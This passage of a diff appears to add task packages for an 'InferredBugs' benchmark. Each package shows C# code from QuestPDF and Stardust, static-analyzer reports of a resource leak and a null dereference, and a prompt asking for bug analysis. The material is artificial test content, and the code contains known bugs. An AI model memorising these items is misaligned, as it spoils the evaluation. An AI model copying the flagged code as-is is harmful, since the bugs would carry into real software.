+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(500, 5, SKFontStyleSlant.Italic),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Italic),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Oblique),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright)
+            );
+        }
+
+        [Test]
+        public void FontStyleSet_IsBetterMatch_ObliqueSlant()
+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(500, 5, SKFontStyleSlant.Oblique),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Oblique),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Italic),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright)
+            );
+        }
+
+        [Test]
+        public void FontStyleSet_IsBetterMatch_UprightSlant()
+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Oblique),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Italic)
+            );
+        }
+
+        [Test]
+        public void FontStyleSet_IsBetterMatch_ThinWeight()
+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(300, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(300, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(200, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(100, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(400, 5, SKFontStyleSlant.Upright)
+            );
+        }
+
+        [Test]
+        public void FontStyleSet_IsBetterMatch_RegularWeight()
+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(400, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(300, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(100, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(600, 5, SKFontStyleSlant.Upright)
+            );
+        }
+
+        [Test]
+        public void FontStyleSet_IsBetterMatch_BoldWeight()
+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(600, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(600, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(700, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(800, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright)
+            );
+        }
+
+        [Test]
+        public void FontStyleSet_RespectsPriority()
+        {
+            ExpectComparisonOrder(
+                new SKFontStyle(500, 5, SKFontStyleSlant.Upright),
+                new SKFontStyle(600, 5, SKFontStyleSlant.Italic),
+                new SKFontStyle(600, 6, SKFontStyleSlant.Upright),
+                new SKFontStyle(500, 6, SKFontStyleSlant.Italic)
+            );
+        }
+    }
+}
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource n$3.[_] of type SkiaSharp.SKFontStyle, Leaked resource (output of SkiaSharp.SKFontStyle::.ctor() at Line 91) of type SkiaSharp.SKFontStyle in method "Void FontStyleSetTests.FontStyleSet_IsBetterMatch_RegularWeight()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void FontStyleSetTests.FontStyleSet_IsBetterMatch_RegularWeight()
+
+### File:
+QuestPDF.UnitTests/FontStyleSetTests.cs
+
+### Key:
+FontStyleSetTests.cs|FontStyleSet_IsBetterMatch_RegularWeight|DOTNET_RESOURCE_LEAK
+
+### Hash:
+71e57f43c52f63c51854b6faa97a5dfd
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1214/instruction.md b/inferredbugs-1214/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e01eae88dea3b95db6212aff520a622ec5c0202e
--- /dev/null
+++ b/inferredbugs-1214/instruction.md
@@ -0,0 +1,512 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Stardust
+**Bug ID:** 9
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using NewLife;
+using NewLife.Log;
+using NewLife.Security;
+using NewLife.Serialization;
+using Stardust.Data;
+using Stardust.Data.Configs;
+using Stardust.Data.Nodes;
+using Stardust.Models;
+using Stardust.Server.Models;
+
+namespace Stardust.Server.Services
+{
+    public class RegistryService
+    {
+        private readonly AppQueueService _queue;
+        private readonly ITracer _tracer;
+
+        public RegistryService(AppQueueService queue, ITracer tracer)
+        {
+            _queue = queue;
+            _tracer = tracer;
+        }
+
+        public AppOnline Register(App app, AppModel inf, String ip, String clientId, String token)
+        {
+            if (app == null) return null;
+
+            if (app.DisplayName.IsNullOrEmpty()) app.DisplayName = inf.AppName;
+            app.UpdateIP = ip;
+            app.SaveAsync();
+
+            app.WriteHistory("Register", true, inf.ToJson(), inf.Version, clientId, ip);
+
+            if (!inf.ClientId.IsNullOrEmpty()) clientId = inf.ClientId;
+
+            // 更新在线记录
+            var olt = GetOrAddOnline(app, clientId, token, inf.IP, ip);
+            if (olt != null)
+            {
+                // 关联节点，根据NodeCode匹配，如果未匹配上，则在未曾关联节点时才使用IP匹配
+                var node = Node.FindByCode(inf.NodeCode);
+                if (node == null && olt.NodeId == 0) node = Node.SearchByIP(inf.IP).FirstOrDefault();
+                if (node != null) olt.NodeId = node.ID;
+
+                olt.Version = inf.Version;
+                olt.SaveAsync();
+            }
+
+            // 根据节点IP规则，自动创建节点
+            if (olt.NodeId == 0)
+            {
+                var node = GetOrAddNode(inf);
+                if (node != null)
+                {
+                    olt.NodeId = node.ID;
+                    olt.SaveAsync();
+                }
+            }
+
+            return olt;
+        }
+
+        public Node GetOrAddNode(AppModel inf)
+        {
+            // 根据节点IP规则，自动创建节点
+            var ip = inf.IP;
+            var rule = NodeResolver.Instance.Match(null, ip);
+            if (rule != null && rule.NewNode)
+            {
+                var nodes = Node.SearchByIP(ip);
+                if (nodes.Count == 0)
+                {
+                    var node = new Node
+                    {
+                        Code = Rand.NextString(8),
+                        Name = rule.Name,
+                        ProductCode = "App",
+                        Category = rule.Category,
+                        IP = ip,
+                        Version = inf.Version,
+                        Enable = true,
+                    };
+                    if (node.Name.IsNullOrEmpty()) node.Name = inf.AppName;
+                    if (node.Name.IsNullOrEmpty()) node.Name = node.Code;
+                    node.Insert();
+
+                    return node;
+                }
+            }
+
+            return null;
+        }
+
+        public (AppService, Boolean changed) RegisterService(App app, Service service, PublishServiceInfo model, String ip)
+        {
+            var clientId = model.ClientId;
+            var localIp = clientId;
+            if (!localIp.IsNullOrEmpty())
+            {
+                var p = localIp.IndexOf('@');
+                if (p > 0) localIp = localIp[..p];
+            }
+
+            // 单例部署服务，每个节点只有一个实例，使用本地IP作为唯一标识，无需进程ID，减少应用服务关联数
+            if (service.Singleton) clientId = localIp;
+
+            // 所有服务
+            var services = AppService.FindAllByService(service.Id);
+            var changed = false;
+            var svc = services.FirstOrDefault(e => e.AppId == app.Id && e.Client == clientId);
+            if (svc == null)
+            {
+                svc = new AppService
+                {
+                    AppId = app.Id,
+                    ServiceId = service.Id,
+                    ServiceName = model.ServiceName,
+                    Client = clientId,
+
+                    CreateIP = ip,
+                };
+                services.Add(svc);
+
+                changed = true;
+                WriteHistory(app, "RegisterService", true, $"注册服务[{model.ServiceName}] {model.ClientId}", ip, clientId);
+            }
+            else
+            {
+                if (!svc.Enable)
+                {
+                    svc.Enable = app.AutoActive;
+
+                    if (svc.Enable) changed = true;
+                }
+            }
+
+            // 节点信息
+            var olt = AppOnline.FindByClient(model.ClientId);
+            if (olt != null) svc.NodeId = olt.NodeId;
+
+            // 作用域
+            svc.Scope = AppRule.CheckScope(-1, ip, localIp);
+
+            svc.Enable = app.AutoActive;
+            svc.PingCount++;
+            svc.Tag = model.Tag;
+            svc.Version = model.Version;
+
+            // 地址处理。本地任意地址，更换为IP地址
+            var serverAddress = model.IP;
+            if (serverAddress.IsNullOrEmpty()) serverAddress = localIp;
+            if (serverAddress.IsNullOrEmpty()) serverAddress = ip;
+
+            var ds = new List<String>();
+            foreach (var item in serverAddress.Split(","))
+            {
+                var addrs = model.Address
+                    ?.Replace("://*", $"://{item}")
+                    ?.Replace("://+", $"://{item}")
+                    .Replace("://0.0.0.0", $"://{item}")
+                    .Replace("://[::]", $"://{item}")
+                    .Split(",");
+                if (addrs != null)
+                {
+                    foreach (var elm in addrs)
+                    {
+                        if (!ds.Contains(elm)) ds.Add(elm);
+                    }
+                }
+            }
+
+            if (service.Address.IsNullOrEmpty())
+            {
+                svc.Address = ds.Join(",");
+            }
+            else
+            {
+                // 地址模版
+                var addr = service.Address.Replace("{IP}", ip);
+                if (addr.Contains("{Port}"))
+                {
+                    var port = 0;
+                    foreach (var item in ds)
+                    {
+                        var p = item.IndexOf(":", "http://".Length);
+                        if (p >= 0)
+                        {
+                            port = item[p..].TrimEnd('/').ToInt();
+                            if (port > 0) break;
+                        }
+                    }
+                    addr = addr.Replace("{Port}", port + "");
+                }
+                svc.Address = addr;
+            }
+
+            // 无需健康监测，直接标记为健康
+            if (!model.Health.IsNullOrEmpty()) service.HealthAddress = model.Health;
+            if (!service.HealthCheck || service.HealthAddress.IsNullOrEmpty()) svc.Healthy = true;
+
+            svc.Save();
+
+            service.Providers = services.Count;
+            service.Save();
+
+            // 如果有改变，异步监测健康状况
+            if (changed && service.HealthCheck && !service.HealthAddress.IsNullOrEmpty())
+            {
+                _ = Task.Run(() => HealthCheck(svc));
+            }
+
+            return (svc, changed);
+        }
+
+        public async Task HealthCheck(AppService svc)
+        {
+            var url = svc.Service?.HealthAddress;
+            if (url.IsNullOrEmpty()) return;
+
+            try
+            {
+                if (!url.StartsWithIgnoreCase("http://", "https://"))
+                {
+                    var ss = svc.Address.Split(',');
+                    var uri = new Uri(new Uri(ss[0]), url);
+                    url = uri.ToString();
+                }
+
+                var http = _tracer.CreateHttpClient();
+                var rs = await http.GetStringAsync(url);
+
+                svc.Healthy = true;
+                svc.CheckResult = rs;
+            }
+            catch (Exception ex)
+            {
+                svc.Healthy = false;
+                svc.CheckResult = ex.ToString();
+
+                XTrace.WriteLine("HealthCheck: {0}", url);
+                XTrace.Log.Error(ex.Message);
+            }
+
+            svc.CheckTimes++;
+            svc.LastCheck = DateTime.Now;
+            svc.Update();
+        }
+
+        public (AppService, Boolean changed) UnregisterService(App app, Service info, PublishServiceInfo model, String ip)
+        {
+            // 单例部署服务，每个节点只有一个实例，使用本地IP作为唯一标识，无需进程ID，减少应用服务关联数
+            var clientId = model.ClientId;
+            if (info.Singleton && !clientId.IsNullOrEmpty())
+            {
+                var p = clientId.IndexOf('@');
+                if (p > 0) clientId = clientId[..p];
+            }
+
+            // 所有服务
+            var services = AppService.FindAllByService(info.Id);
+            var changed = false;
+            var svc = services.FirstOrDefault(e => e.AppId == app.Id && e.Client == clientId);
+            if (svc != null)
+            {
+                //svc.Delete();
+                svc.Enable = false;
+                svc.Healthy = false;
+                svc.Update();
+
+                services.Remove(svc);
+
+                changed = true;
+                WriteHistory(app, "UnregisterService", true, $"服务[{model.ServiceName}]下线 {svc.Client}", ip, svc.Client);
+            }
+
+            info.Providers = services.Count;
+            info.Save();
+
+            return (svc, changed);
+        }
+
+        public ServiceModel[] ResolveService(Service service, ConsumeServiceInfo model, String scope)
+        {
+            var list = new List<ServiceModel>();
+            var tags = model.Tag?.Split(",");
+
+            // 该服务所有生产
+            var services = AppService.FindAllByService(service.Id);
+            foreach (var item in services)
+            {
+                // 启用，匹配规则，健康
+                if (item.Enable && item.Healthy && item.Match(model.MinVersion, scope, tags))
+                {
+                    list.Add(item.ToModel());
+                }
+            }
+
+            return list.ToArray();
+        }
+
+        private void WriteHistory(App app, String action, Boolean success, String remark, String ip, String clientId)
+        {
+            var olt = AppOnline.FindByClient(clientId);
+            var version = olt?.Version;
+
+            var hi = AppHistory.Create(app, action, success, remark, version, Environment.MachineName, ip);
+            hi.Client = clientId;
+            hi.SaveAsync();
+        }
+
+        public AppOnline GetOrAddOnline(App app, String clientId, String token, String localIp, String ip)
+        {
+            if (app == null) return null;
+
+            if (clientId.IsNullOrEmpty()) return null;
+
+            // 找到在线会话，先查ClientId和Token。客户端刚启动时可能没有拿到本机IP，而后来心跳拿到了
+            var online = AppOnline.FindByClient(clientId) ?? AppOnline.FindByToken(token);
+
+            // 如果是每节点单例部署，则使用本地IP作为会话匹配。可能是应用重启，前一次会话还在
+            if (online == null && app.Singleton && !localIp.IsNullOrEmpty())
+            {
+                // 要求内网IP与外网IP都匹配，才能认为是相同会话，因为有可能不同客户端部署在各自内网而具有相同本地IP
+                var list = AppOnline.FindAllByIP(localIp);
+                online = list.OrderBy(e => e.Id).FirstOrDefault(e => e.AppId == app.Id && e.UpdateIP == ip);
+
+                // 处理多IP
+                if (online == null)
+                {
+                    list = AppOnline.FindAllByApp(app.Id);
+                    online = list.OrderBy(e => e.Id).FirstOrDefault(e => !e.IP.IsNullOrEmpty() && e.IP.Contains(localIp) && e.UpdateIP == ip);
+                }
+            }
+
+            if (online == null) online = AppOnline.GetOrAddClient(clientId);
+
+            if (online != null)
+            {
+                online.AppId = app.Id;
+                online.Name = app.ToString();
+                online.Category = app.Category;
+                online.PingCount++;
+
+                if (!clientId.IsNullOrEmpty()) online.Client = clientId;
+                if (!token.IsNullOrEmpty()) online.Token = token;
+                if (!localIp.IsNullOrEmpty()) online.IP = localIp;
+                if (online.CreateIP.IsNullOrEmpty()) online.CreateIP = ip;
+                if (!ip.IsNullOrEmpty()) online.UpdateIP = ip;
+            }
+
+            return online;
+        }
+
+        public AppOnline Ping(App app, AppInfo inf, String ip, String clientId, String token)
+        {
+            if (app == null) return null;
+
+            // 更新在线记录
+            var olt = GetOrAddOnline(app, clientId, token, inf.IP, ip);
+            if (olt != null)
+            {
+                olt.Version = app.Version;
+                olt.Fill(app, inf);
+                olt.SaveAsync();
+            }
+
+            return olt;
+        }
+
+        /// <summary>向应用发送命令</summary>
+        /// <param name="app"></param>
+        /// <param name="model"></param>
+        /// <param name="user">创建者</param>
+        /// <returns></returns>
+        public AppCommand SendCommand(App app, CommandInModel model, String user)
+        {
+            //if (model.Code.IsNullOrEmpty()) throw new ArgumentNullException(nameof(model.Code), "必须指定应用");
+            if (model.Command.IsNullOrEmpty()) throw new ArgumentNullException(nameof(model.Command));
+
+            var cmd = new AppCommand
+            {
+                AppId = app.Id,
+                Command = model.Command,
+                Argument = model.Argument,
+                //Expire = model.Expire,
+                TraceId = DefaultSpan.Current?.TraceId,
+
+                CreateUser = user,
+            };
+            if (model.Expire > 0) cmd.Expire = DateTime.Now.AddSeconds(model.Expire);
+            cmd.Insert();
+
+            // 分发命令给该应用的所有实例
+            var cmdModel = cmd.ToModel();
+            foreach (var item in AppOnline.FindAllByApp(app.Id))
+            {
+                _queue.Publish(app.Name, item.Client, cmdModel);
+            }
+
+            return cmd;
+        }
+
+        public AppCommand SendCommand(App app, String command, String argument, String user = null)
+        {
+            var model = new CommandInModel
+            {
+                Command = command,
+                Argument = argument,
+            };
+            return SendCommand(app, model, user);
+        }
+
+        public AppCommand CommandReply(App app, CommandReplyModel model)
+        {
+            var cmd = AppCommand.FindById(model.Id);
+            if (cmd == null) return null;
+
+            // 防止越权
+            if (cmd.AppId != app.Id) throw new InvalidOperationException($"[{app}]越权访问[{cmd.AppName}]的服务");
+
+            cmd.Status = model.Status;
+            cmd.Result = model.Data;
+            cmd.Update();
+
+            // 推入服务响应队列，让服务调用方得到响应
+            _queue.Publish(model);
+
+            return cmd;
+        }
+
+        /// <summary>通知该服务的所有消费者，服务信息有变更</summary>
+        /// <param name="service"></param>
+        /// <param name="command"></param>
+        /// <param name="user"></param>
+        public void NotifyConsumers(Service service, String command, String user = null)
+        {
+            var list = AppConsume.FindAllByService(service.Id);
+            if (list.Count == 0) return;
+
+            var appIds = list.Select(e => e.AppId).Distinct().ToArray();
+
+            using var span = _tracer?.NewSpan(nameof(NotifyConsumers), $"{command} appIds={appIds.Join()} user={user}");
+
+            foreach (var item in appIds)
+            {
+                var app = App.FindById(item);
+                if (app != null) SendCommand(app, command, null, user);
+            }
+        }
+    }
+}
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `olt` last assigned on line 37 could be null and is dereferenced at line 50, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+AppOnline RegistryService.Register(App,AppModel,String,String,String)
+
+### File:
+Stardust.Server/Services/RegistryService.cs
+
+### Key:
+RegistryService.cs|Register|NULL_DEREFERENCE
+
+### Node Key:
+90535029835413c6e5d1bdebbf52bdf9
+
+### Hash:
+de84dc490a9452d39bbbc31f664e0438
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1215/instruction.md b/inferredbugs-1215/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2fe9e11218a7c07e6ae3b3735403af9c80a45b4f
--- /dev/null
+++ b/inferredbugs-1215/instruction.md
@@ -0,0 +1,522 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Stardust
+**Bug ID:** 11
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using NewLife;
+using NewLife.Log;
+using NewLife.Security;
+using NewLife.Serialization;
+using Stardust.Data;
+using Stardust.Data.Configs;
+using Stardust.Data.Nodes;
+using Stardust.Models;
+using Stardust.Server.Models;
+
+namespace Stardust.Server.Services
+{
+    public class RegistryService
+    {
+        private readonly AppQueueService _queue;
+        private readonly ITracer _tracer;
+
+        public RegistryService(AppQueueService queue, ITracer tracer)
+        {
+            _queue = queue;
+            _tracer = tracer;
+        }
+
+        public AppOnline Register(App app, AppModel inf, String ip, String clientId, String token)
+        {
+            if (app == null) return null;
+
+            if (app.DisplayName.IsNullOrEmpty()) app.DisplayName = inf.AppName;
+            app.UpdateIP = ip;
+            app.SaveAsync();
+
+            app.WriteHistory("Register", true, inf.ToJson(), inf.Version, ip, clientId);
+
+            if (!inf.ClientId.IsNullOrEmpty()) clientId = inf.ClientId;
+
+            var localIp = inf?.IP;
+            if (localIp.IsNullOrEmpty() && !clientId.IsNullOrEmpty())
+            {
+                var p = clientId.IndexOf('@');
+                if (p > 0) localIp = clientId[..p];
+            }
+
+            // 更新在线记录
+            var olt = GetOrAddOnline(app, clientId, token, localIp, ip);
+            if (olt != null)
+            {
+                // 关联节点，根据NodeCode匹配，如果未匹配上，则在未曾关联节点时才使用IP匹配
+                var node = Node.FindByCode(inf.NodeCode);
+                if (node == null && olt.NodeId == 0) node = Node.SearchByIP(inf.IP).FirstOrDefault();
+                if (node != null) olt.NodeId = node.ID;
+
+                olt.Version = inf.Version;
+                olt.SaveAsync();
+            }
+
+            // 根据节点IP规则，自动创建节点
+            if (olt.NodeId == 0)
+            {
+                var node = GetOrAddNode(inf, localIp, ip);
+                if (node != null)
+                {
+                    olt.NodeId = node.ID;
+                    olt.SaveAsync();
+                }
+            }
+
+            return olt;
+        }
+
+        public Node GetOrAddNode(AppModel inf, String localIp, String ip)
+        {
+            // 根据节点IP规则，自动创建节点
+            var rule = NodeResolver.Instance.Match(null, localIp);
+            if (rule != null && rule.NewNode)
+            {
+                using var span = _tracer?.NewSpan("AddNodeForApp", rule);
+
+                var nodes = Node.SearchByIP(localIp);
+                if (nodes.Count == 0)
+                {
+                    var node = new Node
+                    {
+                        Code = Rand.NextString(8),
+                        Name = rule.Name,
+                        ProductCode = "App",
+                        Category = rule.Category,
+                        IP = localIp,
+                        Version = inf?.Version,
+                        Enable = true,
+                    };
+                    if (node.Name.IsNullOrEmpty()) node.Name = inf?.AppName;
+                    if (node.Name.IsNullOrEmpty()) node.Name = node.Code;
+                    node.Insert();
+
+                    node.WriteHistory("AppAddNode", true, inf.ToJson(), ip);
+
+                    return node;
+                }
+            }
+
+            return null;
+        }
+
+        public (AppService, Boolean changed) RegisterService(App app, Service service, PublishServiceInfo model, String ip)
+        {
+            var clientId = model.ClientId;
+            var localIp = clientId;
+            if (!localIp.IsNullOrEmpty())
+            {
+                var p = localIp.IndexOf('@');
+                if (p > 0) localIp = localIp[..p];
+            }
+
+            // 单例部署服务，每个节点只有一个实例，使用本地IP作为唯一标识，无需进程ID，减少应用服务关联数
+            if (service.Singleton) clientId = localIp;
+
+            // 所有服务
+            var services = AppService.FindAllByService(service.Id);
+            var changed = false;
+            var svc = services.FirstOrDefault(e => e.AppId == app.Id && e.Client == clientId);
+            if (svc == null)
+            {
+                svc = new AppService
+                {
+                    AppId = app.Id,
+                    ServiceId = service.Id,
+                    ServiceName = model.ServiceName,
+                    Client = clientId,
+
+                    CreateIP = ip,
+                };
+                services.Add(svc);
+
+                changed = true;
+                WriteHistory(app, "RegisterService", true, $"注册服务[{model.ServiceName}] {model.ClientId}", ip, clientId);
+            }
+            else
+            {
+                if (!svc.Enable)
+                {
+                    svc.Enable = app.AutoActive;
+
+                    if (svc.Enable) changed = true;
+                }
+            }
+
+            // 节点信息
+            var olt = AppOnline.FindByClient(model.ClientId);
+            if (olt != null) svc.NodeId = olt.NodeId;
+
+            // 作用域
+            svc.Scope = AppRule.CheckScope(-1, ip, localIp);
+
+            svc.Enable = app.AutoActive;
+            svc.PingCount++;
+            svc.Tag = model.Tag;
+            svc.Version = model.Version;
+
+            // 地址处理。本地任意地址，更换为IP地址
+            var serverAddress = model.IP;
+            if (serverAddress.IsNullOrEmpty()) serverAddress = localIp;
+            if (serverAddress.IsNullOrEmpty()) serverAddress = ip;
+
+            var ds = new List<String>();
+            foreach (var item in serverAddress.Split(","))
+            {
+                var addrs = model.Address
+                    ?.Replace("://*", $"://{item}")
+                    ?.Replace("://+", $"://{item}")
+                    .Replace("://0.0.0.0", $"://{item}")
+                    .Replace("://[::]", $"://{item}")
+                    .Split(",");
+                if (addrs != null)
+                {
+                    foreach (var elm in addrs)
+                    {
+                        if (!ds.Contains(elm)) ds.Add(elm);
+                    }
+                }
+            }
+
+            if (service.Address.IsNullOrEmpty())
+            {
+                svc.Address = ds.Join(",");
+            }
+            else
+            {
+                // 地址模版
+                var addr = service.Address.Replace("{IP}", ip);
+                if (addr.Contains("{Port}"))
+                {
+                    var port = 0;
+                    foreach (var item in ds)
+                    {
+                        var p = item.IndexOf(":", "http://".Length);
+                        if (p >= 0)
+                        {
+                            port = item[p..].TrimEnd('/').ToInt();
+                            if (port > 0) break;
+                        }
+                    }
+                    addr = addr.Replace("{Port}", port + "");
+                }
+                svc.Address = addr;
+            }
+
+            // 无需健康监测，直接标记为健康
+            if (!model.Health.IsNullOrEmpty()) service.HealthAddress = model.Health;
+            if (!service.HealthCheck || service.HealthAddress.IsNullOrEmpty()) svc.Healthy = true;
+
+            svc.Save();
+
+            service.Providers = services.Count;
+            service.Save();
+
+            // 如果有改变，异步监测健康状况
+            if (changed && service.HealthCheck && !service.HealthAddress.IsNullOrEmpty())
+            {
+                _ = Task.Run(() => HealthCheck(svc));
+            }
+
+            return (svc, changed);
+        }
+
+        public async Task HealthCheck(AppService svc)
+        {
+            var url = svc.Service?.HealthAddress;
+            if (url.IsNullOrEmpty()) return;
+
+            try
+            {
+                if (!url.StartsWithIgnoreCase("http://", "https://"))
+                {
+                    var ss = svc.Address.Split(',');
+                    var uri = new Uri(new Uri(ss[0]), url);
+                    url = uri.ToString();
+                }
+
+                var http = _tracer.CreateHttpClient();
+                var rs = await http.GetStringAsync(url);
+
+                svc.Healthy = true;
+                svc.CheckResult = rs;
+            }
+            catch (Exception ex)
+            {
+                svc.Healthy = false;
+                svc.CheckResult = ex.ToString();
+
+                XTrace.WriteLine("HealthCheck: {0}", url);
+                XTrace.Log.Error(ex.Message);
+            }
+
+            svc.CheckTimes++;
+            svc.LastCheck = DateTime.Now;
+            svc.Update();
+        }
+
+        public (AppService, Boolean changed) UnregisterService(App app, Service info, PublishServiceInfo model, String ip)
+        {
+            // 单例部署服务，每个节点只有一个实例，使用本地IP作为唯一标识，无需进程ID，减少应用服务关联数
+            var clientId = model.ClientId;
+            if (info.Singleton && !clientId.IsNullOrEmpty())
+            {
+                var p = clientId.IndexOf('@');
+                if (p > 0) clientId = clientId[..p];
+            }
+
+            // 所有服务
+            var services = AppService.FindAllByService(info.Id);
+            var changed = false;
+            var svc = services.FirstOrDefault(e => e.AppId == app.Id && e.Client == clientId);
+            if (svc != null)
+            {
+                //svc.Delete();
+                svc.Enable = false;
+                svc.Healthy = false;
+                svc.Update();
+
+                services.Remove(svc);
+
+                changed = true;
+                WriteHistory(app, "UnregisterService", true, $"服务[{model.ServiceName}]下线 {svc.Client}", ip, svc.Client);
+            }
+
+            info.Providers = services.Count;
+            info.Save();
+
+            return (svc, changed);
+        }
+
+        public ServiceModel[] ResolveService(Service service, ConsumeServiceInfo model, String scope)
+        {
+            var list = new List<ServiceModel>();
+            var tags = model.Tag?.Split(",");
+
+            // 该服务所有生产
+            var services = AppService.FindAllByService(service.Id);
+            foreach (var item in services)
+            {
+                // 启用，匹配规则，健康
+                if (item.Enable && item.Healthy && item.Match(model.MinVersion, scope, tags))
+                {
+                    list.Add(item.ToModel());
+                }
+            }
+
+            return list.ToArray();
+        }
+
+        private void WriteHistory(App app, String action, Boolean success, String remark, String ip, String clientId)
+        {
+            var olt = AppOnline.FindByClient(clientId);
+            var version = olt?.Version;
+
+            var hi = AppHistory.Create(app, action, success, remark, version, Environment.MachineName, ip);
+            hi.Client = clientId;
+            hi.SaveAsync();
+        }
+
+        public AppOnline GetOrAddOnline(App app, String clientId, String token, String localIp, String ip)
+        {
+            if (app == null) return null;
+
+            if (clientId.IsNullOrEmpty()) return null;
+
+            // 找到在线会话，先查ClientId和Token。客户端刚启动时可能没有拿到本机IP，而后来心跳拿到了
+            var online = AppOnline.FindByClient(clientId) ?? AppOnline.FindByToken(token);
+
+            // 如果是每节点单例部署，则使用本地IP作为会话匹配。可能是应用重启，前一次会话还在
+            if (online == null && app.Singleton && !localIp.IsNullOrEmpty())
+            {
+                // 要求内网IP与外网IP都匹配，才能认为是相同会话，因为有可能不同客户端部署在各自内网而具有相同本地IP
+                var list = AppOnline.FindAllByIP(localIp);
+                online = list.OrderBy(e => e.Id).FirstOrDefault(e => e.AppId == app.Id && e.UpdateIP == ip);
+
+                // 处理多IP
+                if (online == null)
+                {
+                    list = AppOnline.FindAllByApp(app.Id);
+                    online = list.OrderBy(e => e.Id).FirstOrDefault(e => !e.IP.IsNullOrEmpty() && e.IP.Contains(localIp) && e.UpdateIP == ip);
+                }
+            }
+
+            if (online == null) online = AppOnline.GetOrAddClient(clientId);
+
+            if (online != null)
+            {
+                online.AppId = app.Id;
+                online.Name = app.ToString();
+                online.Category = app.Category;
+                online.PingCount++;
+
+                if (!clientId.IsNullOrEmpty()) online.Client = clientId;
+                if (!token.IsNullOrEmpty()) online.Token = token;
+                if (!localIp.IsNullOrEmpty()) online.IP = localIp;
+                if (online.CreateIP.IsNullOrEmpty()) online.CreateIP = ip;
+                if (!ip.IsNullOrEmpty()) online.UpdateIP = ip;
+            }
+
+            return online;
+        }
+
+        public AppOnline Ping(App app, AppInfo inf, String ip, String clientId, String token)
+        {
+            if (app == null) return null;
+
+            // 更新在线记录
+            var olt = GetOrAddOnline(app, clientId, token, inf.IP, ip);
+            if (olt != null)
+            {
+                olt.Version = app.Version;
+                olt.Fill(app, inf);
+                olt.SaveAsync();
+            }
+
+            return olt;
+        }
+
+        /// <summary>向应用发送命令</summary>
+        /// <param name="app"></param>
+        /// <param name="model"></param>
+        /// <param name="user">创建者</param>
+        /// <returns></returns>
+        public AppCommand SendCommand(App app, CommandInModel model, String user)
+        {
+            //if (model.Code.IsNullOrEmpty()) throw new ArgumentNullException(nameof(model.Code), "必须指定应用");
+            if (model.Command.IsNullOrEmpty()) throw new ArgumentNullException(nameof(model.Command));
+
+            var cmd = new AppCommand
+            {
+                AppId = app.Id,
+                Command = model.Command,
+                Argument = model.Argument,
+                //Expire = model.Expire,
+                TraceId = DefaultSpan.Current?.TraceId,
+
+                CreateUser = user,
+            };
+            if (model.Expire > 0) cmd.Expire = DateTime.Now.AddSeconds(model.Expire);
+            cmd.Insert();
+
+            // 分发命令给该应用的所有实例
+            var cmdModel = cmd.ToModel();
+            foreach (var item in AppOnline.FindAllByApp(app.Id))
+            {
+                _queue.Publish(app.Name, item.Client, cmdModel);
+            }
+
+            return cmd;
+        }
+
+        public AppCommand SendCommand(App app, String command, String argument, String user = null)
+        {
+            var model = new CommandInModel
+            {
+                Command = command,
+                Argument = argument,
+            };
+            return SendCommand(app, model, user);
+        }
+
